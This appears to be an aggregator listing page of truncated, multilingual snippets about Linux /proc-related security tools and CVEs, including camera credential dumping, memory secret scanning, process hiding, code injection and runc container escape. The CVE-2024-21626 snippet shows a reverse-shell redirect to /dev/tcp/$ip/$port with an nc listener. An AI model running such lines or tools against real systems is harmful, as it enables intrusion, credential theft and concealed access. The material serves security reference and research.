Netgrave

Netgrave 一款利用内存转储漏洞（CVE-2018-17240）从Netwave IP摄像头中检索登录凭证的工具。该项目受expcamera启发，并在性能和效率上进行了改进。该工具支持所有平台，因为它不像expcamera那样通过shell命令使用任何Linux CLI工具。 CVE-2018-17240 在Linux系统中，/proc/kcore是一个虚拟文件，它提供了系统物理内存的直接映射，允许读取整个内核虚拟内存空间。某些Netwave IP摄像头通过其Web服务器公开暴露此文件，允许未经身份验证的用户获取设备的内存转储，从而暴露登录凭证等敏感信息。...

Am-I-affected-by-Meltdown

¿Estoy afectado por Meltdown?! Comprobador de Meltdown CVE-2017-5754 ¿Qué soy? Prueba de concepto / Exploit / Comprueba si el sistema está afectado por la Variante 3: carga de datos de caché no autorizada CVE-2017-5754, también conocido como MELTDOWN. La idea básica es que el usuario sabrá si el...

liffy

Advanced LFI Exploitation Tool A powerful Python tool for Local File Inclusion LFI exploitation with advanced features including WAF bypass, encoding techniques, and comprehensive vulnerability detection. Liffy v2.0 is the significantly enhanced version of liffy which was originally created by...

dismember

🔪 Dismember Dismember 是一个用于 Linux 的命令行工具包，可用于扫描所有（或特定）进程的内存，查找常见秘密和自定义正则表达式等内容。 最终它将成为一个完整的 /proc 工具包。 使用 grep 命令，它可以在所有（可访问的）进程的内存中匹配正则表达式。这可以用于在内存中查找敏感数据，通过进程内存中包含的内容来识别进程，或者从进程内存中查询有趣的信息。 通过 scan 命令内置了许多模式，它实际上就像一个针对您机器内存的秘密扫描器。 Dismember 可以搜索它有权访问的所有进程的内存，因此以 root 身份运行是最有效的方式。...

dismember

🔪 Dismember Dismember is a command-line toolkit for Linux that can be used to scan the memory of all processes or particular ones for common secrets and custom regular expressions, among other things. It will eventually become a full /proc toolkit. Using the grep command, it can match a regular...

CVE-2017-1000367

CVE-2017-1000367 我们在 Sudo 的 getprocessttyname 函数中发现了一个针对 Linux 的漏洞： 该函数会打开 “/proc/pid/stat” man proc 并读取 tty 的设备号（字段 7，即 ttynr）。然而，这些字段是以空格分隔的，而字段 2（comm，命令的文件名）可以包含空格（CVE-2017-1000367）。 例如，如果我们通过符号链接 “./ 1 “ 来执行 Sudo，getprocessttyname 会调用 sudottynamedev 在内置的 searchdevs 中搜索不存在的 tty 设备号 “1”。...

CVE-2024-21262

RECORDS 仅用于 CVE 复现。 相关资源： LINK GITHUB1 GITHUB2 ISSUE 检查环境 从 https://download.docker.com/linux/static/stable/x8664/ 下载 docker-24.0.6.tgz。 root@kitploit: sudo mkdir -p /usr/local/docker-24.0.6 sudo tar -xzf docker-24.0.6.tgz -C /usr/local/docker-24.0.6 sudo ln -sf /usr/local/docker-24.0.6/docker/...

CVE-2024-21626

CVE-2024-21626 概念验证（POC） 要求 runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tcp/$ip/$port 0&1 EOF listen and wait for reverse shell nc -lvvp 1337 运行容器镜像并在bash shell中执行poc.sh root@kitploit:...

CVE-2026-89661

A flaw was found in the Linux kernel's Network File System Daemon NFSD. A local administrator with CAPSYSADMIN capabilities can trigger a use-after-free vulnerability by writing to /proc/fs/nfsd/unlockfilesystem after the NFSD server has shut down. This can lead to memory corruption, potentially...

CVE-2024-21626

CVE-2024-21626 Para una explicación detallada de esta vulnerabilidad, consulte mi artículo. Explotación Explotación mediante la ejecución de un contenedor No es necesario construir una imagen personalizada, solo ejecute un contenedor con el parámetro -w: root@kitploit: docker run -w /proc/self/fd...

CVE-2026-89768

In the Linux kernel, the following vulnerability has been resolved: fs: fix user path of nested backing files backingfileopen derives the path to be stored in the new backing file from userfile-fpath. This is incorrect when userfile itself is a backing file, which is the case for nested stacking...

CVE-2026-89540

In the Linux kernel, the following vulnerability has been resolved: sunrpc: init gssplock before publishing proc entry createusegssproxyprocentry publishes /proc/net/rpc/use-gss-proxy via proccreatedata before initgsspclnt runs mutexinit on sn-gssplock. Once the dentry is linked under...

EUVD-2026-76680

In the Linux kernel, the following vulnerability has been resolved: fs: fix user path of nested backing files backingfileopen derives the path to be stored in the new backing file from userfile-fpath. This is incorrect when userfile itself is a backing file, which is the case for nested stacking...

CVE-2026-89768 fs: fix user path of nested backing files

In the Linux kernel, the following vulnerability has been resolved: fs: fix user path of nested backing files backingfileopen derives the path to be stored in the new backing file from userfile-fpath. This is incorrect when userfile itself is a backing file, which is the case for nested stacking...

CVE-2026-89540

CVE-2026-89540 is a race condition in the Linux kernel 's sunrpc subsystem. The function create_use_gss_proxy_proc_entry() publishes /proc/net/rpc/use-gss-proxy via proc_create_data() before mutex_init() is called on sn->gssp_lock. A userspace write that lands in the narrow preemption window b...

mimic

mimic mimic is a tool for covert execution on Linux x8664. What is "covert execution"? Covert execution is the art of hiding a process. In this case, mimic hides the process in plain sight. mimic can launch any program and make it look like any other program. Any user can use it. It does not...

mimic

mimic mimic 是一个用于 Linux x8664 上隐蔽执行的工具。 什么是“隐蔽执行”？ 隐蔽执行是一门隐藏进程的艺术。在本例中， mimic 将进程隐藏于众目睽睽之下。 mimic 可以启动任何程序，并使其看起来像任何其他程序。任何用户都可以使用它。它不需要特殊权限。它不需要特殊的二进制文件。它不需要 root 套件。 什么？！不需要特殊权限？？ 没错。 mimic 通过重新排列进程内部结构的方式，混淆该进程的 /proc 条目。所有报告进程性质的工具都是通过查看 /proc 来实现的。如果我们能够扭曲...

whoc

whoc 一个容器镜像，用于提取底层容器运行时并将其发送到远程服务器。 探探您最喜欢的CSP容器平台的底层容器运行时！ WhoC在Defcon 29 Cloud Village上的演讲 Azurescape - 基于whoc的研究，首次实现公有云中的跨账户容器接管（奖金70,000美元） 它是如何工作的？ 正如runc CVE-2019-5736所示，传统的Linux容器运行时通过/proc/self/exe向其所运行的容器暴露自身。whoc利用这一链接读取正在执行它的容器运行时。 动态模式 这是whoc的默认模式，适用于动态链接的容器运行时。 1...

PT-2026-90484

In the Linux kernel, the following vulnerability has been resolved: fs: fix user path of nested backing files backing file open derives the path to be stored in the new backing file from user file-f path. This is incorrect when user file itself is a backing file, which is the case for nested...

asminject

asminject.py asminject.py es un fork muy modificado del proyecto dlinject de David Buchanan. Inyecta cargas útiles payloads de código ensamblador arbitrario o binarios precompilados directamente en procesos Linux x86-64, x86 y ARM32 mediante el acceso a /proc//mem en lugar de adjuntarse a través ...